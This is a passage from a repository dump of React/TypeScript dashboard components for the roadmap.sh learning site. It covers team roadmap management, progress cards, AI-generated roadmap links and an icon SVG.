</div>\n\n        <div className=\"mb-0 mt-4 rounded-md border-0 sm:-mb-[65px] sm:mt-7 sm:border\">\n          <div\n            data-progress-nums-container\n            className=\"striped-loader relative hidden h-8 items-center justify-between rounded-md bg-white sm:flex\"\n          />\n          <div\n            data-progress-nums-container\n            className=\"striped-loader relative -mb-2 flex h-[34px] items-center justify-between rounded-md border bg-white px-2 py-1.5 text-sm text-gray-700 sm:hidden\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/DailyDevIcon.tsx",
    "content": "import type { SVGProps } from 'react';\n\nexport function DailyDevIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 32 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\" fillRule=\"nonzero\">\n        <path\n          d=\"M26.633 8.69l-3.424-3.431 1.711-3.43 5.563 5.575c.709.71.709 1.861 0 2.572l-6.847 6.86c-.709.711-1.858.711-2.567 0a1.821 1.821 0 010-2.571l5.564-5.575z\"\n          fillOpacity=\"0.64\"\n        ></path>\n        <path d=\"M21.07.536a1.813 1.813 0 012.568 0l1.283 1.286L9.945 16.83c-.709.71-1.858.71-2.567 0l-1.284-1.287L21.071.536zm-6.418 4.717l-2.567 2.572-3.424-3.43-4.28 4.288 3.424 3.43-1.71 3.43L.531 9.97a1.821 1.821 0 010-2.572L7.378.537A1.813 1.813 0 019.945.535l4.707 4.717z\"></path>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardAiRoadmaps.tsx",
    "content": "import { DashboardCardLink } from './DashboardCardLink';\nimport {\n  BrainCircuit\n} from 'lucide-react';\n\ntype DashboardAiRoadmapsProps = {\n  roadmaps: {\n    id: string;\n    title: string;\n    slug: string;\n  }[];\n  isLoading?: boolean;\n};\n\nexport function DashboardAiRoadmaps(props: DashboardAiRoadmapsProps) {\n  const { roadmaps, isLoading = false } = props;\n\n  return (\n    <>\n      <div className=\"mb-2 mt-6 flex items-center justify-between gap-2\">\n        <h2 className=\"text-xs uppercase text-gray-400\">My AI Roadmaps</h2>\n\n        <a\n          href=\"/ai-roadmaps/explore\"\n          className=\"rounded-full bg-gray-200 px-2.5 py-0.5 text-xs font-medium text-gray-700 hover:bg-gray-300 hover:text-black\"\n        >\n          AI Generated Roadmaps\n        </a>\n      </div>\n\n      {!isLoading && roadmaps.length === 0 && (\n        <DashboardCardLink\n          className=\"mt-0\"\n          icon={BrainCircuit}\n          href=\"/ai-roadmaps\"\n          title=\"Generate Roadmaps with AI\"\n          description=\"You can generate your own roadmap with AI\"\n        />\n      )}\n\n      <div className=\"grid grid-cols-1 gap-2 sm:grid-cols-2 md:grid-cols-3\">\n        {isLoading && (\n          <>\n            {Array.from({ length: 9 }).map((_, index) => (\n              <RoadmapCardSkeleton key={index} />\n            ))}\n          </>\n        )}\n\n        {!isLoading && roadmaps.length > 0 && (\n          <>\n            {roadmaps.map((roadmap) => (\n              <a\n                key={roadmap.id}\n                href={`/ai-roadmaps/${roadmap.slug}`}\n                className=\"relative truncate rounded-md border bg-white p-2.5 text-left text-sm shadow-xs hover:border-gray-400 hover:bg-gray-50\"\n              >\n                {roadmap.title}\n              </a>\n            ))}\n\n            <a\n              className=\"flex items-center justify-center rounded-lg border border-dashed border-gray-300 bg-white p-2.5 text-sm font-medium text-gray-500 hover:bg-gray-50 hover:text-gray-600\"\n              href={'/ai-roadmaps'}\n            >\n              + Generate New\n            </a>\n          </>\n        )}\n      </div>\n    </>\n  );\n}\n\ntype CustomProgressCardSkeletonProps = {};\n\nfunction RoadmapCardSkeleton(props: CustomProgressCardSkeletonProps) {\n  return (\n    <div className=\"h-[42px] w-full animate-pulse rounded-md bg-gray-200\" />\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardBookmarkCard.tsx",
    "content": "import { Bookmark } from 'lucide-react';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\n\ntype DashboardBookmarkCardProps = {\n  bookmark: UserProgress;\n};\n\nexport function DashboardBookmarkCard(props: DashboardBookmarkCardProps) {\n  const {\n    resourceType,\n    resourceId,\n    resourceTitle,\n    roadmapSlug,\n    isCustomResource,\n  } = props.bookmark;\n\n  let url =\n    resourceType === 'roadmap'\n      ? `/${resourceId}`\n      : `/best-practices/${resourceId}`;\n\n  if (isCustomResource) {\n    url = `/r/${roadmapSlug}`;\n  }\n\n  return (\n    <a\n      href={url}\n      key={resourceId}\n      className=\"group relative flex flex-row items-center gap-2 rounded-md border border-gray-300 bg-white px-1.5 py-2 text-left text-sm transition-all hover:border-gray-400\"\n    >\n      <Bookmark className=\"size-4 fill-current text-gray-300\" />\n      <h4 className=\"truncate text-gray-900\">{resourceTitle}</h4>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardCardLink.tsx",
    "content": "import { ArrowUpRight, type LucideIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype DashboardCardLinkProps = {\n  href: string;\n  title: string;\n  icon: LucideIcon;\n  description: string;\n  className?: string;\n};\n\nexport function DashboardCardLink(props: DashboardCardLinkProps) {\n  const { href, title, description, icon: Icon, className } = props;\n\n  return (\n    <a\n      className={cn(\n        'relative mt-4 flex min-h-[220px] flex-col justify-end rounded-lg border border-gray-300 bg-linear-to-br from-white to-gray-50 py-5 px-6 hover:border-gray-400 hover:from-white hover:to-gray-100',\n        className,\n      )}\n      href={href}\n    >\n      <Icon className=\"mb-4 size-10 text-gray-300\" strokeWidth={1.25} />\n      <h4 className=\"text-xl font-semibold tracking-wide\">{title}</h4>\n      <p className=\"mt-1 text-gray-500\">{description}</p>\n      <ArrowUpRight className=\"absolute right-3 top-3 size-4\" />\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardCustomProgressCard.tsx",
    "content": "import { getRelativeTimeString } from '../../lib/date';\nimport { getPercentage } from '../../lib/number';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\n\ntype DashboardCustomProgressCardProps = {\n  progress: UserProgress;\n};\n\nexport function DashboardCustomProgressCard(props: DashboardCustomProgressCardProps) {\n  const { progress } = props;\n\n  const {\n    resourceType,\n    resourceId,\n    resourceTitle,\n    total: totalCount,\n    done: doneCount,\n    skipped: skippedCount,\n    roadmapSlug,\n    isCustomResource,\n    updatedAt,\n  } = progress;\n\n  let url =\n    resourceType === 'roadmap'\n      ? `/${resourceId}`\n      : `/best-practices/${resourceId}`;\n\n  if (isCustomResource) {\n    url = `/r/${roadmapSlug}`;\n  }\n\n  const totalMarked = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalMarked, totalCount);\n\n  return (\n    <a\n      href={url}\n      className=\"group relative flex min-h-[80px] w-full flex-col justify-between overflow-hidden rounded-md border bg-white p-3 text-left text-sm shadow-xs transition-all hover:border-gray-400 hover:bg-gray-50\"\n    >\n      <h4 className=\"truncate font-medium text-gray-900\">{resourceTitle}</h4>\n\n      <div className=\"mt-6 flex items-center gap-2\">\n        <div className=\"h-2 w-full overflow-hidden rounded-md bg-black/10\">\n          <div\n            className=\"h-full bg-black/20\"\n            style={{ width: `${progressPercentage}%` }}\n          ></div>\n        </div>\n        <span className=\"text-xs text-gray-500\">\n          {Math.floor(+progressPercentage)}%\n        </span>\n      </div>\n\n      <p className=\"mt-1 text-xs text-gray-400\">\n        {isCustomResource ? (\n          <>Last updated {getRelativeTimeString(updatedAt)}</>\n        ) : (\n          <>Last practiced {getRelativeTimeString(updatedAt)}</>\n        )}\n      </p>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardPage.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { useEffect, useState } from 'react';\nimport { useParams } from '../../hooks/use-params';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpGet } from '../../lib/http';\nimport { getUser } from '../../lib/jwt';\nimport { $teamList } from '../../stores/team';\nimport type { TeamListResponse } from '../TeamDropdown/TeamDropdown';\nimport { DashboardTabButton } from './DashboardTabButton';\nimport { PersonalDashboard, type BuiltInRoadmap } from './PersonalDashboard';\nimport { TeamDashboard } from './TeamDashboard';\nimport type { QuestionGroupType } from '../../lib/question-group';\nimport type { VideoFileType } from '../../lib/video';\nimport { cn } from '../../lib/classname';\nimport type { OfficialGuideDocument } from '../../queries/official-guide';\n\ntype DashboardPageProps = {\n  builtInRoleRoadmaps?: BuiltInRoadmap[];\n  builtInSkillRoadmaps?: BuiltInRoadmap[];\n  builtInBestPractices?: BuiltInRoadmap[];\n  isTeamPage?: boolean;\n  questionGroups?: QuestionGroupType[];\n  guides?: OfficialGuideDocument[];\n  videos?: VideoFileType[];\n};\n\nexport function DashboardPage(props: DashboardPageProps) {\n  const {\n    builtInRoleRoadmaps,\n    builtInBestPractices,\n    builtInSkillRoadmaps,\n    isTeamPage = false,\n    guides,\n    videos,\n  } = props;\n\n  const currentUser = getUser();\n  const toast = useToast();\n  const teamList = useStore($teamList);\n\n  const { t: currTeamId } = useParams();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [selectedTeamId, setSelectedTeamId] = useState<string>();\n\n  async function getAllTeams() {\n    if (teamList.length > 0) {\n      return;\n    }\n\n    const { response, error } = await httpGet<TeamListResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-teams`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    $teamList.set(response);\n  }\n\n  useEffect(() => {\n    getAllTeams().finally(() => {\n      if (currTeamId) {\n        setSelectedTeamId(currTeamId);\n      }\n\n      setIsLoading(false);\n    });\n  }, [currTeamId]);\n\n  const userAvatar =\n    currentUser?.avatar && !isLoading\n      ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${currentUser.avatar}`\n      : '/img/default-avatar.png';\n\n  return (\n    <>\n      <div\n        className={cn('bg-slate-900', {\n          'striped-loader-slate': isLoading,\n        })}\n      >\n        <div className=\"min-h-[70px] bg-slate-800/30 py-5\">\n          <div className=\"container flex flex-wrap items-center gap-1.5\">\n            {!isLoading && (\n              <>\n                <DashboardTabButton\n                  label=\"Personal\"\n                  isActive={!selectedTeamId && !isTeamPage}\n                  href=\"/dashboard\"\n                  avatar={userAvatar}\n                />\n                {teamList.map((team) => {\n                  const { avatar } = team;\n                  const avatarUrl = avatar\n                    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${avatar}`\n                    : '/img/default-avatar.png';\n                  return (\n                    <DashboardTabButton\n                      key={team._id}\n                      label={team.name}\n                      isActive={team._id === selectedTeamId}\n                      {...(team.status === 'invited'\n                        ? {\n                            href: `/respond-invite?i=${team.memberId}`,\n                          }\n                        : {\n                            href: `/teams/${team._id}/activity`,\n                          })}\n                      avatar={avatarUrl}\n                    />\n                  );\n                })}\n                <DashboardTabButton\n                  label=\"+ Create Team\"\n                  isActive={false}\n                  href=\"/teams/new\"\n                  className=\"border border-dashed border-slate-700 bg-transparent px-3 text-sm text-[13px] text-gray-500 hover:border-solid hover:border-slate-700 hover:text-gray-400\"\n                />\n              </>\n            )}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"\">\n        {!selectedTeamId && !isTeamPage && (\n          <div className=\"bg-slate-900\">\n            <PersonalDashboard\n              builtInRoleRoadmaps={builtInRoleRoadmaps}\n              builtInSkillRoadmaps={builtInSkillRoadmaps}\n              builtInBestPractices={builtInBestPractices}\n              guides={guides}\n              videos={videos}\n            />\n          </div>\n        )}\n\n        {(selectedTeamId || isTeamPage) && (\n          <div className=\"container\">\n            <TeamDashboard\n              builtInRoleRoadmaps={builtInRoleRoadmaps!}\n              builtInSkillRoadmaps={builtInSkillRoadmaps!}\n              teamId={selectedTeamId!}\n            />\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardProgressCard.tsx",
    "content": "import { getPercentage } from '../../lib/number';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\n\ntype DashboardProgressCardProps = {\n  progress: UserProgress;\n};\n\nexport function DashboardProgressCard(props: DashboardProgressCardProps) {\n  const { progress } = props;\n  const {\n    resourceType,\n    resourceId,\n    resourceTitle,\n    total: totalCount,\n    done: doneCount,\n    skipped: skippedCount,\n    roadmapSlug,\n    isCustomResource,\n    updatedAt,\n  } = progress;\n\n  let url =\n    resourceType === 'roadmap'\n      ? `/${resourceId}`\n      : `/best-practices/${resourceId}`;\n\n  if (isCustomResource) {\n    url = `/r/${roadmapSlug}`;\n  }\n\n  const totalMarked = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalMarked, totalCount);\n\n  return (\n    <a\n      href={url}\n      key={resourceId}\n      className=\"group relative flex w-full items-center justify-between overflow-hidden rounded-md border border-gray-300 bg-white px-3 py-2 text-left text-sm transition-all hover:border-gray-400\"\n    >\n      <span className=\"grow truncate\">{resourceTitle}</span>\n      <span className=\"text-xs text-gray-400\">\n        {parseInt(progressPercentage, 10)}%\n      </span>\n\n      <span\n        className=\"absolute left-0 top-0 block h-full cursor-pointer rounded-tl-md bg-black/5 transition-colors group-hover:bg-black/10\"\n        style={{\n          width: `${progressPercentage}%`,\n        }}\n      />\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardProjectCard.tsx",
    "content": "import { Check, CircleCheck, CircleDashed } from 'lucide-react';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\nimport { cn } from '../../lib/classname.ts';\nimport { getRelativeTimeString } from '../../lib/date.ts';\n\ntype DashboardProjectCardProps = {\n  project: ProjectStatusDocument & {\n    title: string;\n  };\n};\n\nexport function DashboardProjectCard(props: DashboardProjectCardProps) {\n  const { project } = props;\n\n  const { title, projectId, submittedAt, startedAt, repositoryUrl } = project;\n\n  const url = `/projects/${projectId}`;\n  const status = submittedAt && repositoryUrl ? 'submitted' : 'started';\n\n  return (\n    <a\n      href={url}\n      key={projectId}\n      className=\"group relative flex w-full items-center gap-2 text-left text-sm underline-offset-2\"\n    >\n      <span\n        className={cn(\n          'flex h-5 w-5 shrink-0 items-center justify-center rounded-full',\n          {\n            'border border-green-500 bg-green-500 group-hover:border-green-600 group-hover:bg-green-600':\n              status === 'submitted',\n            'border border-dashed border-gray-400 bg-transparent group-hover:border-gray-500':\n              status === 'started',\n          },\n        )}\n      >\n        {status === 'submitted' && (\n          <Check\n            className=\"relative top-[0.5px] size-3 text-white\"\n            strokeWidth={3}\n          />\n        )}\n      </span>\n      <span className=\"grow truncate group-hover:underline\">{title.replace(/(System)|(Service)/, '')}</span>\n      <span className=\"shrink-0 bg-transparent text-xs text-gray-400 no-underline\">\n        {!!startedAt &&\n          status === 'started' &&\n          getRelativeTimeString(startedAt)}\n        {!!submittedAt &&\n          status === 'submitted' &&\n          getRelativeTimeString(submittedAt)}\n      </span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardTabButton.tsx",
    "content": "import type { ReactNode } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype DashboardTabProps = {\n  label: string | ReactNode;\n  isActive: boolean;\n  onClick?: () => void;\n  className?: string;\n  href?: string;\n  avatar?: string;\n  icon?: ReactNode;\n};\n\nexport function DashboardTabButton(props: DashboardTabProps) {\n  const { isActive, onClick, label, className, href, avatar, icon } = props;\n\n  const Slot = href ? 'a' : 'button';\n\n  return (\n    <Slot\n      onClick={onClick}\n      className={cn(\n        'flex h-[30px] shrink-0 items-center gap-1 rounded-md border border-slate-700 bg-slate-800 p-1.5 pl-2 pr-3 text-sm leading-none text-gray-400 transition-colors hover:bg-slate-700',\n        isActive\n          ? 'border-slate-200 bg-slate-200 text-gray-900 hover:bg-slate-200'\n          : '',\n        className,\n      )}\n      {...(href ? { href } : {})}\n    >\n      {avatar && (\n        <img\n          src={avatar}\n          alt=\"avatar\"\n          className=\"mr-0.5 h-4 w-4 rounded-full object-cover\"\n        />\n      )}\n      {icon}\n      {label}\n    </Slot>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/DashboardTeamRoadmaps.tsx",
    "content": "import { useEffect, useMemo, useState } from 'react';\nimport { ResourceProgress } from '../Activity/ResourceProgress';\nimport { RoadmapIcon } from '../ReactIcons/RoadmapIcon';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\nimport { LoadingProgress } from './LoadingProgress';\nimport { PickRoadmapOptionModal } from '../TeamRoadmaps/PickRoadmapOptionModal';\nimport { SelectRoadmapModal } from '../CreateTeam/SelectRoadmapModal';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport { ContentConfirmationModal } from '../CreateTeam/ContentConfirmationModal';\nimport { httpGet, httpPut } from '../../lib/http';\nimport type { PageType } from '../CommandMenu/CommandMenu';\nimport { useToast } from '../../hooks/use-toast';\nimport type { TeamResourceConfig } from '../CreateTeam/RoadmapSelector';\nimport { pageProgressMessage } from '../../stores/page';\nimport type { BuiltInRoadmap } from './PersonalDashboard';\nimport { MapIcon, Users2 } from 'lucide-react';\n\ntype DashboardTeamRoadmapsProps = {\n  isLoading: boolean;\n  teamId: string;\n  learningRoadmapsToShow: (UserProgress & {\n    defaultRoadmapId?: string;\n  })[];\n  canManageCurrentTeam: boolean;\n  onUpdate: () => void;\n\n  builtInRoleRoadmaps: BuiltInRoadmap[];\n  builtInSkillRoadmaps: BuiltInRoadmap[];\n};\n\nexport function DashboardTeamRoadmaps(props: DashboardTeamRoadmapsProps) {\n  const {\n    isLoading,\n    teamId,\n    learningRoadmapsToShow,\n    canManageCurrentTeam,\n    onUpdate,\n\n    builtInRoleRoadmaps,\n    builtInSkillRoadmaps,\n  } = props;\n\n  const toast = useToast();\n  const [isPickingOptions, setIsPickingOptions] = useState(false);\n  const [isAddingRoadmap, setIsAddingRoadmap] = useState(false);\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n  const [confirmationContentId, setConfirmationContentId] = useState<string>();\n\n  const allRoadmaps = useMemo(\n    () =>\n      builtInRoleRoadmaps.concat(builtInSkillRoadmaps).map((r) => {\n        return {\n          id: r.id,\n          title: r.title,\n          url: r.url,\n          group: 'Roadmaps',\n          renderer: r.renderer || 'balsamiq',\n          metadata: r.metadata,\n        };\n      }),\n    [builtInRoleRoadmaps, builtInSkillRoadmaps],\n  );\n\n  async function onAdd(roadmapId: string, shouldCopyContent = false) {\n    if (!teamId) {\n      return;\n    }\n\n    toast.loading('Adding roadmap');\n    pageProgressMessage.set('Adding roadmap');\n    const roadmap = allRoadmaps.find((r) => r.id === roadmapId);\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-update-team-resource-config/${teamId}`,\n      {\n        teamId: teamId,\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n        removed: [],\n        renderer: roadmap?.renderer || 'balsamiq',\n        shouldCopyContent,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Error adding roadmap');\n      return;\n    }\n\n    onUpdate();\n    toast.success('Roadmap added');\n    if (roadmap?.renderer === 'editor') {\n      setIsAddingRoadmap(false);\n    }\n  }\n\n  async function deleteResource(roadmapId: string) {\n    if (!teamId) {\n      return;\n    }\n\n    toast.loading('Deleting roadmap');\n    pageProgressMessage.set(`Deleting roadmap from team`);\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-delete-team-resource-config/${\n        teamId\n      }`,\n      {\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    toast.success('Roadmap removed');\n    onUpdate();\n  }\n\n  async function onRemove(resourceId: string) {\n    pageProgressMessage.set('Removing roadmap');\n\n    deleteResource(resourceId).finally(() => {\n      pageProgressMessage.set('');\n    });\n  }\n\n  const pickRoadmapOptionModal = isPickingOptions && (\n    <PickRoadmapOptionModal\n      onClose={() => setIsPickingOptions(false)}\n      showDefaultRoadmapsModal={() => {\n        setIsAddingRoadmap(true);\n        setIsPickingOptions(false);\n      }}\n      showCreateCustomRoadmapModal={() => {\n        setIsCreatingRoadmap(true);\n        setIsPickingOptions(false);\n      }}\n    />\n  );\n\n  const filteredAllRoadmaps = allRoadmaps.filter(\n    (r) => !learningRoadmapsToShow.find((c) => c?.defaultRoadmapId === r.id),\n  );\n\n  const addRoadmapModal = isAddingRoadmap && (\n    <SelectRoadmapModal\n      onClose={() => setIsAddingRoadmap(false)}\n      teamResourceConfig={learningRoadmapsToShow.map((r) => r.resourceId)}\n      allRoadmaps={filteredAllRoadmaps.filter((r) => r.renderer === 'editor')}\n      teamId={teamId}\n      onRoadmapAdd={(roadmapId: string) => {\n        const isEditorRoadmap = allRoadmaps.find(\n          (r) => r.id === roadmapId && r.renderer === 'editor',\n        );\n\n        if (!isEditorRoadmap) {\n          onAdd(roadmapId).finally(() => {\n            pageProgressMessage.set('');\n          });\n\n          return;\n        }\n\n        setIsAddingRoadmap(false);\n        setConfirmationContentId(roadmapId);\n      }}\n      onRoadmapRemove={(roadmapId: string) => {\n        if (confirm('Are you sure you want to remove this roadmap?')) {\n          onRemove(roadmapId).finally(() => {});\n        }\n      }}\n    />\n  );\n\n  const confirmationContentIdModal = confirmationContentId && (\n    <ContentConfirmationModal\n      onClose={() => {\n        setConfirmationContentId('');\n      }}\n      onClick={(shouldCopy) => {\n        onAdd(confirmationContentId, shouldCopy).finally(() => {\n          pageProgressMessage.set('');\n          setConfirmationContentId('');\n        });\n      }}\n    />\n  );\n\n  const createRoadmapModal = isCreatingRoadmap && (\n    <CreateRoadmapModal\n      teamId={teamId}\n      onClose={() => {\n        setIsCreatingRoadmap(false);\n      }}\n      onCreated={() => {\n        setIsCreatingRoadmap(false);\n      }}\n    />\n  );\n\n  const roadmapHeading = (\n    <div className=\"mb-3 flex h-[20px] items-center justify-between gap-2 text-xs\">\n      <h2 className=\"uppercase text-gray-400\">Roadmaps</h2>\n      <span className=\"mx-3 h-[1px] grow bg-gray-200\" />\n      {canManageCurrentTeam && (\n        <a\n          href={`/team/roadmaps?t=${teamId}`}\n          className=\"flex flex-row items-center rounded-full bg-gray-400 px-2.5 py-0.5 text-xs text-white transition-colors hover:bg-black\"\n        >\n          <MapIcon className=\"mr-1.5 size-3\" strokeWidth={2.5} />\n          Roadmaps\n        </a>\n      )}\n    </div>\n  );\n\n  if (!isLoading && learningRoadmapsToShow.length === 0) {\n    return (\n      <>\n        {roadmapHeading}\n        <div className=\"flex flex-col items-center rounded-md border bg-white p-4 py-10\">\n          {pickRoadmapOptionModal}\n          {addRoadmapModal}\n          {createRoadmapModal}\n          {confirmationContentIdModal}\n\n          <RoadmapIcon className=\"mb-4 h-14 w-14 opacity-10\" />\n\n          <h2 className=\"text-lg font-semibold sm:text-lg\">No roadmaps</h2>\n          <p className=\"my-1 max-w-[400px] text-balance text-sm text-gray-500 sm:my-2 sm:text-base\">\n            {canManageCurrentTeam\n              ? 'Add a roadmap to start tracking your team'\n              : 'Ask your team admin to add some roadmaps'}\n          </p>\n\n          {canManageCurrentTeam && (\n            <button\n              className=\"mt-1 rounded-lg bg-black px-3 py-1 text-sm font-medium text-white hover:bg-gray-900\"\n              onClick={() => setIsPickingOptions(true)}\n            >\n              Add roadmap\n            </button>\n          )}\n        </div>\n      </>\n    );\n  }\n\n  return (\n    <>\n      {pickRoadmapOptionModal}\n      {addRoadmapModal}\n      {createRoadmapModal}\n      {confirmationContentIdModal}\n\n      {roadmapHeading}\n      {isLoading && <LoadingProgress />}\n      {!isLoading && learningRoadmapsToShow.length > 0 && (\n        <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-3\">\n          {learningRoadmapsToShow.map((roadmap) => {\n            const learningCount = roadmap.learning || 0;\n            const doneCount = roadmap.done || 0;\n            const totalCount = roadmap.total || 0;\n            const skippedCount = roadmap.skipped || 0;\n\n            return (\n              <ResourceProgress\n                key={roadmap.resourceId}\n                isCustomResource={roadmap?.isCustomResource || false}\n                doneCount={doneCount > totalCount ? totalCount : doneCount}\n                learningCount={\n                  learningCount > totalCount ? totalCount : learningCount\n                }\n                totalCount={totalCount}\n                skippedCount={skippedCount}\n                resourceId={roadmap.resourceId}\n                resourceType=\"roadmap\"\n                updatedAt={roadmap.updatedAt}\n                title={roadmap.resourceTitle}\n                showActions={false}\n                roadmapSlug={roadmap.roadmapSlug}\n              />\n            );\n          })}\n\n          {canManageCurrentTeam && (\n            <button\n              onClick={() => setIsPickingOptions(true)}\n              className=\"group relative flex w-full items-center justify-center overflow-hidden rounded-md border border-dashed border-gray-300 bg-white px-3 py-2 text-center text-sm text-gray-500 transition-all hover:border-gray-400 hover:text-black\"\n            >\n              + Add Roadmap\n            </button>\n          )}\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/EmptyStackMessage.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype EmptyStackMessageProps = {\n  number: number | string;\n  title: string;\n  description: string;\n  buttonText: string;\n  buttonLink: string;\n  bodyClassName?: string;\n};\n\nexport function EmptyStackMessage(props: EmptyStackMessageProps) {\n  const { number, title, description, buttonText, buttonLink, bodyClassName } =\n    props;\n\n  return (\n    <div className=\"absolute inset-0 flex items-center justify-center rounded-md bg-black/50\">\n      <div\n        className={cn(\n          'flex max-w-[200px] flex-col items-center justify-center rounded-md bg-white p-4 shadow-xs',\n          bodyClassName,\n        )}\n      >\n        <span className=\"flex h-8 w-8 items-center justify-center rounded-full bg-gray-300 text-white\">\n          {number}\n        </span>\n        <div className=\"my-3 text-center\">\n          <h3 className=\"text-sm font-medium text-black\">{title}</h3>\n          <p className=\"text-center text-xs text-gray-500\">{description}</p>\n        </div>\n\n        <a\n          href={buttonLink}\n          className=\"rounded-md bg-black px-3 py-1 text-xs text-white transition-transform hover:scale-105 hover:bg-gray-900\"\n        >\n          {buttonText}\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/ListDashboardCustomProgress.tsx",
    "content": "import type { UserProgress } from '../TeamProgress/TeamProgressPage';\nimport { DashboardCustomProgressCard } from './DashboardCustomProgressCard';\nimport { DashboardCardLink } from './DashboardCardLink';\nimport { useState } from 'react';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport {\n  BrainCircuit, PencilRuler\n} from 'lucide-react';\n\ntype ListDashboardCustomProgressProps = {\n  progresses: UserProgress[];\n  isLoading?: boolean;\n  isCustomResources?: boolean;\n  isAIGeneratedRoadmaps?: boolean;\n};\n\nexport function ListDashboardCustomProgress(\n  props: ListDashboardCustomProgressProps,\n) {\n  const {\n    progresses,\n    isLoading = false,\n    isAIGeneratedRoadmaps = false,\n  } = props;\n  const [isCreateCustomRoadmapModalOpen, setIsCreateCustomRoadmapModalOpen] =\n    useState(false);\n\n  const customRoadmapModal = isCreateCustomRoadmapModalOpen ? (\n    <CreateRoadmapModal\n      onClose={() => setIsCreateCustomRoadmapModalOpen(false)}\n      onCreated={(roadmap) => {\n        window.location.href = `${\n          import.meta.env.PUBLIC_EDITOR_APP_URL\n        }/${roadmap?._id}`;\n        return;\n      }}\n    />\n  ) : null;\n\n  return (\n    <>\n      {customRoadmapModal}\n\n      <div className=\"mb-2 mt-6 flex items-center justify-between gap-2\">\n        <h2 className=\"text-xs uppercase text-gray-400\">\n          {isAIGeneratedRoadmaps ? 'My AI Roadmaps' : 'My Custom Roadmaps'}\n        </h2>\n\n        <a\n          href=\"/community\"\n          className=\"rounded-full bg-gray-200 px-2.5 py-0.5 text-xs font-medium text-gray-700 hover:bg-gray-300 hover:text-black\"\n        >\n          Community Roadmaps\n        </a>\n      </div>\n\n      {!isLoading && progresses.length === 0 && isAIGeneratedRoadmaps && (\n        <DashboardCardLink\n          className=\"mt-0\"\n          icon={BrainCircuit}\n          href=\"/ai-roadmaps\"\n          title=\"Generate Roadmaps with AI\"\n          description=\"You can generate your own roadmap with AI\"\n        />\n      )}\n\n      {!isLoading && progresses.length === 0 && !isAIGeneratedRoadmaps && (\n        <DashboardCardLink\n          className=\"mt-0\"\n          icon={PencilRuler}\n          href=\"https://draw.roadmap.sh\"\n          title=\"Draw your own Roadmap\"\n          description=\"Use our editor to draw your own roadmap\"\n        />\n      )}\n\n      <div className=\"grid grid-cols-1 gap-2 sm:grid-cols-2 md:grid-cols-4\">\n        {isLoading && (\n          <>\n            {Array.from({ length: 8 }).map((_, index) => (\n              <CustomProgressCardSkeleton key={index} />\n            ))}\n          </>\n        )}\n\n        {!isLoading && progresses.length > 0 && (\n          <>\n            {progresses.map((progress) => (\n              <DashboardCustomProgressCard\n                key={progress.resourceId}\n                progress={progress}\n              />\n            ))}\n\n            <a\n              className=\"flex min-h-[80px] items-center justify-center rounded-lg border border-dashed border-gray-300 bg-white p-4 text-sm font-medium text-gray-500 hover:bg-gray-50 hover:text-gray-600\"\n              href={'/ai-roadmaps'}\n              onClick={(e) => {\n                if (!isAIGeneratedRoadmaps) {\n                  e.preventDefault();\n                  setIsCreateCustomRoadmapModalOpen(true);\n                }\n              }}\n            >\n              {isAIGeneratedRoadmaps ? '+ Generate New' : '+ Create New'}\n            </a>\n          </>\n        )}\n      </div>\n    </>\n  );\n}\n\ntype CustomProgressCardSkeletonProps = {};\n\nexport function CustomProgressCardSkeleton(\n  props: CustomProgressCardSkeletonProps,\n) {\n  return (\n    <div className=\"h-[106px] w-full animate-pulse rounded-md bg-gray-200\" />\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/LoadingProgress.tsx",
